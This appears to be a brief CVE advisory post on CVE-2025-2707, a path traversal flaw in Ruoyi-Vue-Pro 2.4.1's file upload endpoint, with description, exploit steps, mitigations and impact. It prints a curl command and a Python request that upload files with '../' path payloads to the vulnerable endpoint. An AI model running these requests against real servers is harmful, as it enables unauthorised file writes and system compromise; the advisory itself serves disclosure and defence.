Listen to this Post
How the CVE Works
CVE-2025-2707 is a critical path traversal vulnerability in Ruoyi-Vue-Pro v2.4.1, specifically in the Front-End Store Interface component. The flaw exists in the `/app-api/infra/file/upload` endpoint, where improper validation of the `path` parameter allows attackers to manipulate file paths. By crafting a malicious request, an attacker can traverse directories and upload files to unintended locations on the server. This remote exploitation could lead to arbitrary file uploads, system compromise, or data leakage. The vulnerability stems from insufficient sanitization of user-supplied input in the file upload functionality.
DailyCVE Form
Platform: Ruoyi-Vue-Pro
Version: 2.4.1
Vulnerability: Path Traversal
Severity: Critical
Date: 07/15/2025
Prediction: Patch by 08/30/2025
What Undercode Say
curl -X POST -F "[email protected]" -F "path=../../../../tmp/" http://target/app-api/infra/file/upload
import requests
requests.post("http://target/app-api/infra/file/upload", files={"file": open("exploit.txt", "rb")}, data={"path": "../../../"})
How Exploit
- Craft HTTP POST request with manipulated `path` parameter.
- Upload malicious files to arbitrary directories.
- Overwrite critical system files.
Protection from this CVE
- Sanitize user-controlled `path` input.
- Restrict file uploads to safe directories.
- Apply vendor patch post-release.
Impact
- Remote code execution.
- Unauthorized file access.
- System compromise.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
